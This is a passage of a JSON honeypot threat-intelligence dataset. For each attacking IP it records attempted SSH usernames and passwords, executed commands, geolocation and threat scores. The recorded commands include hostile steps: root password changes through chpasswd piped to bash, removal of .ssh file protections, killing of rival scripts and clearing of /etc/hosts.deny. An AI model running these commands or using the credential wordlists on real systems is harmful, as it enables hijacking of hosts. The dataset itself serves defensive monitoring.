        "downloader",
        "firewall",
        "install",
        "it",
        "new",
        "openvpn",
        "paid",
        "proradis",
        "rachel",
        "sd",
        "sftpuser",
        "silva",
        "software",
        "steamcmd",
        "thomas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "password",
        "1",
        "123",
        "1234",
        "123456wW",
        "123@@@",
        "1qaz@123",
        "202426",
        "786786",
        "A100s200",
        "Aa123",
        "Admin123@",
        "Azure12345678",
        "Bismillah@123",
        "Bus365",
        "P@55w0rd@321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Zaq12wsx!\\nGLU5pHGC9tbM\\nGLU5pHGC9tbM\\n\"|passwd",
        "echo \"huang123\\nCrv4ICZTzjdL\\nCrv4ICZTzjdL\\n\"|passwd",
        "echo \"root:ZQPvWhmlVzwX\"|chpasswd|bash",
        "echo \"root:e4cgcMvK1AuS\"|chpasswd|bash",
        "echo -e \"Zaq12wsx!\\nGLU5pHGC9tbM\\nGLU5pHGC9tbM\"|passwd|bash",
        "echo -e \"huang123\\nCrv4ICZTzjdL\\nCrv4ICZTzjdL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:10:49.969000+00:00",
        "last_seen_30d": "2026-03-30T16:39:55.641000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 524,
        "Suricata": 142
      }
    },
    "103.199.203.67": {
      "attack_count": 504,
      "first_seen": "2026-03-06T23:36:31.491Z",
      "last_seen": "2026-03-21T16:30:16.201Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "auditor",
        "david",
        "steam",
        "ax",
        "bin",
        "bitwarden",
        "bot",
        "francesco",
        "frappeuser",
        "frontend",
        "ftpuser",
        "grafana",
        "hadoop",
        "jitendra",
        "kishore",
        "kodi",
        "mailtest"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "12345678",
        "!@#qwe123QWE",
        "123",
        "12345",
        "@qwer2024",
        "@qwer2025",
        "Steam",
        "Temp123!",
        "Vamsi123",
        "X123",
        "abc123xyz",
        "auditor1234",
        "bitwarden123",
        "francesco123!",
        "frappeuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nlJpS7coQRVrg\\nlJpS7coQRVrg\\n\"|passwd",
        "echo \"Steam\\n6DC2iDCvEmPb\\n6DC2iDCvEmPb\\n\"|passwd",
        "echo \"auditor1234\\nlTtCf994vlOG\\nlTtCf994vlOG\\n\"|passwd",
        "echo \"pass123\\ncfhTcobgMU9M\\ncfhTcobgMU9M\\n\"|passwd",
        "echo \"root:r9oS1XWTcW8w\"|chpasswd|bash",
        "echo -e \"123456\\nlJpS7coQRVrg\\nlJpS7coQRVrg\"|passwd|bash",
        "echo -e \"Steam\\n6DC2iDCvEmPb\\n6DC2iDCvEmPb\"|passwd|bash",
        "echo -e \"auditor1234\\nlTtCf994vlOG\\nlTtCf994vlOG\"|passwd|bash",
        "echo -e \"pass123\\ncfhTcobgMU9M\\ncfhTcobgMU9M\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 601,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T23:36:31.491000+00:00",
        "last_seen_30d": "2026-03-21T16:31:25.029000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 504,
        "Suricata": 97
      }
    },
    "130.12.180.51": {
      "attack_count": 457,
      "first_seen": "2026-03-02T13:29:16.663Z",
      "last_seen": "2026-03-31T02:16:12.901Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "orangepi",
        "admin"
      ],
      "passwords_attempted": [
        "password",
        "orangepi",
        "P",
        "root",
        "admin",
        "Tester01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.file_upload",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.9,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 615,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:29:16.663000+00:00",
        "last_seen_30d": "2026-03-31T02:17:16.907000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 158
      }
    },
    "51.77.145.89": {
      "attack_count": 361,
      "first_seen": "2026-03-05T01:54:57.180Z",
      "last_seen": "2026-03-08T04:34:24.158Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "testuser",
        "user",
        "admin",
        "beehive",
        "ernesto",
        "krishna",
        "newusername",
        "omm",
        "talha",
        "teamcity",
        "ubuntu",
        "zjm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Aa@147258",
        "1234",
        "123qwe123asd",
        "A123456*",
        "A123456V",
        "A123456a:",
        "A1b2c3",
        "Ab@123456",
        "Asd112233",
        "Bingo@1993",
        "Hr123456",
        "Omm123!",
        "Password@1",
        "QazWsx123",
        "S3cR3t!",
        "Sq123456",
        "Zjm123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"A123456V\\nqVvQ3DTRD3XM\\nqVvQ3DTRD3XM\\n\"|passwd",
        "echo \"root:Bj2EGAWNtAAK\"|chpasswd|bash",
        "echo \"testuser\\ngM46t54AlwTC\\ngM46t54AlwTC\\n\"|passwd",
        "echo -e \"A123456V\\nqVvQ3DTRD3XM\\nqVvQ3DTRD3XM\"|passwd|bash",
        "echo -e \"testuser\\ngM46t54AlwTC\\ngM46t54AlwTC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T01:54:57.180000+00:00",
        "last_seen_30d": "2026-03-08T04:35:32.631000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 87
      }
    },
    "103.88.76.27": {
      "attack_count": 326,
      "first_seen": "2026-03-15T16:04:18.277Z",
      "last_seen": "2026-03-15T16:26:20.415Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cs",
        "pepe",
        "student2",
        "vas",
        "bitwarden",
        "ftpuser01",
        "informatica",
        "itadmin",
        "kirill",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Bitwarden123!",
        "Itadmin123",
        "Student2123",
        "informatica123",
        "kirill123!",
        "password",
        "webapp123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nqzlxppRSz53M\\nqzlxppRSz53M\\n\"|passwd",
        "echo \"12345\\nH94ObVWSGpZo\\nH94ObVWSGpZo\\n\"|passwd",
        "echo \"1234\\nNBP7V9Y44UED\\nNBP7V9Y44UED\\n\"|passwd",
        "echo \"Student2123\\nEg3ec9GvhaBC\\nEg3ec9GvhaBC\\n\"|passwd",
        "echo -e \"12345678\\nqzlxppRSz53M\\nqzlxppRSz53M\"|passwd|bash",
        "echo -e \"12345\\nH94ObVWSGpZo\\nH94ObVWSGpZo\"|passwd|bash",
        "echo -e \"1234\\nNBP7V9Y44UED\\nNBP7V9Y44UED\"|passwd|bash",
        "echo -e \"Student2123\\nEg3ec9GvhaBC\\nEg3ec9GvhaBC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kottakuppam",
      "asn": 136336,
      "as_org": "Thamizhaga Internet Communications Private Limited",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:04:18.277000+00:00",
        "last_seen_30d": "2026-03-15T16:27:26.227000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 40
      }
    },
    "45.207.221.76": {
      "attack_count": 326,
      "first_seen": "2026-03-23T02:23:22.118Z",
      "last_seen": "2026-03-23T02:45:48.720Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "nuc",
        "tomcat",
        "verdaccio",
        "zhuge",
        "adminer",
        "ann",
        "farmacia",
        "root",
        "simone",
        "syj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "Admin123!",
        "Adminer123",
        "Syj123!",
        "Verdaccio123!",
        "annpass",
        "nucpass",
        "zhuge"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Verdaccio123!\\nZcuBb8qn1ZIl\\nZcuBb8qn1ZIl\\n\"|passwd",
        "echo \"nucpass\\nKFUaTrRt8NeU\\nKFUaTrRt8NeU\\n\"|passwd",
        "echo \"password\\niYVHgQo64Fwd\\niYVHgQo64Fwd\\n\"|passwd",
        "echo \"zhuge\\nO2JNJPxhd0Pf\\nO2JNJPxhd0Pf\\n\"|passwd",
        "echo -e \"Verdaccio123!\\nZcuBb8qn1ZIl\\nZcuBb8qn1ZIl\"|passwd|bash",
        "echo -e \"nucpass\\nKFUaTrRt8NeU\\nKFUaTrRt8NeU\"|passwd|bash",
        "echo -e \"password\\niYVHgQo64Fwd\\niYVHgQo64Fwd\"|passwd|bash",
        "echo -e \"zhuge\\nO2JNJPxhd0Pf\\nO2JNJPxhd0Pf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:23:22.118000+00:00",
        "last_seen_30d": "2026-03-23T02:46:55.717000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 40
      }
    },
    "160.119.76.250": {
      "attack_count": 281,
      "first_seen": "2026-03-02T23:22:12.249Z",
      "last_seen": "2026-03-06T13:13:10.597Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "emo",
        "root",
        "newfpbx",
        "admin",
        "Emo",
        "emoadmin",
        "notadmin",
        "sangoma"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "ItsemoemoWashere2023support",
        "Emo-Eso-virus-FuckPBX",
        "Emo@SinaNews",
        "SangomaDefaultPassword",
        "itsemofuckyou",
        "0595826256",
        "hdhdhhhhhhhhhhhhhhhhhhhh",
        "sangoma"
      ],
      "commands_executed": [
        "free -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 61.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9173,
        "days_active_30d": 20,
        "ports_targeted_30d": 2634,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T23:22:12.249000+00:00",
        "last_seen_30d": "2026-03-21T08:32:41.714000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5858,
        "Honeytrap": 1572,
        "H0neytr4p": 1449,
        "Cowrie": 281,
        "Dionaea": 9,
        "ConPot": 2,
        "Dicompot": 1,
        "Tanner": 1
      }
    },
    "189.147.20.0": {
      "attack_count": 254,
      "first_seen": "2026-03-02T11:06:29.245Z",
      "last_seen": "2026-03-02T11:28:08.074Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2580",
        "@aA123456",
        "Qwerty1234",
        "a!@sd",
        "aa162113",
        "hallo123",
        "kokos",
        "qq12345678",
        "qwe@123",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FgBN5B1igfVx\"|chpasswd|bash",
        "echo \"root:NDRnfJx3MF49\"|chpasswd|bash",
        "echo \"root:z50t7UTB7CSn\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:06:29.245000+00:00",
        "last_seen_30d": "2026-03-02T11:29:09.871000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 36
      }
    },
    "101.47.141.71": {
      "attack_count": 220,
      "first_seen": "2026-03-03T08:55:23.712Z",
      "last_seen": "2026-03-06T03:07:47.520Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "iptv",
        "abdel",
        "applmgr",
        "bart",
        "bot",
        "ftptest",
        "mark",
        "miguel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "password",
        "123",
        "12332112",
        "1234",
        "123456",
        "456",
        "Applmgr123!",
        "Bingo@1993",
        "By123456",
        "Woaini123.",
        "bart2025",
        "ftptest",
        "master",
        "server@2023"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "which ls",
        "whoami",
        "echo \"root:A9xPF3J0dEo2\"|chpasswd|bash",
        "echo \"root:T04w7rzbLLJ0\"|chpasswd|bash",
        "uname -m",
        "w"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 278,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:55:23.712000+00:00",
        "last_seen_30d": "2026-03-06T03:08:54.516000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 220,
        "Suricata": 58
      }
    },
    "194.58.33.219": {
      "attack_count": 187,
      "first_seen": "2026-03-05T15:30:36.220Z",
      "last_seen": "2026-03-05T15:50:07.626Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubuntu",
        "345gs5662d34",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aA!",
        "A123456123",
        "A1234567J",
        "Aa-2026",
        "P@ssw0rd",
        "P@ssw0rd1381",
        "Test!2#4",
        "a123456w",
        "aB123456",
        "abc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd1381\\nRhToIHxjcSbx\\nRhToIHxjcSbx\\n\"|passwd",
        "echo \"root:GlT4P9eJJcLr\"|chpasswd|bash",
        "echo -e \"P@ssw0rd1381\\nRhToIHxjcSbx\\nRhToIHxjcSbx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216127,
      "as_org": "International Hosting Company Limited",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:30:36.220000+00:00",
        "last_seen_30d": "2026-03-05T15:51:13.104000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "20.255.61.0": {
      "attack_count": 187,
      "first_seen": "2026-03-05T11:23:35.715Z",
      "last_seen": "2026-03-05T12:37:56.615Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "root",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456AA!",
        "A1234567O",
        "A12345691",
        "Aa123456@",
        "Aa@147258369",
        "Aa@2024",
        "a123456i",
        "aA@qwe123",
        "password2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Aa@2024\\nvgjQDW3ljwKn\\nvgjQDW3ljwKn\\n\"|passwd",
        "echo \"a123456i\\ntGfYVRNriNAR\\ntGfYVRNriNAR\\n\"|passwd",
        "echo -e \"Aa@2024\\nvgjQDW3ljwKn\\nvgjQDW3ljwKn\"|passwd|bash",
        "echo -e \"a123456i\\ntGfYVRNriNAR\\ntGfYVRNriNAR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T11:23:35.715000+00:00",
        "last_seen_30d": "2026-03-05T12:38:58.274000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 38
      }
    },
    "92.99.195.230": {
      "attack_count": 186,
      "first_seen": "2026-03-21T20:03:07.455Z",
      "last_seen": "2026-03-21T20:25:41.786Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mailuser",
        "Test",
        "dan",
        "francesco",
        "hanul",
        "karim",
        "rootuser"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123454321",
        "Test1234",
        "karim1234",
        "mailuser1234",
        "password",
        "qQ@123456"
      ],
      "commands_executed": [
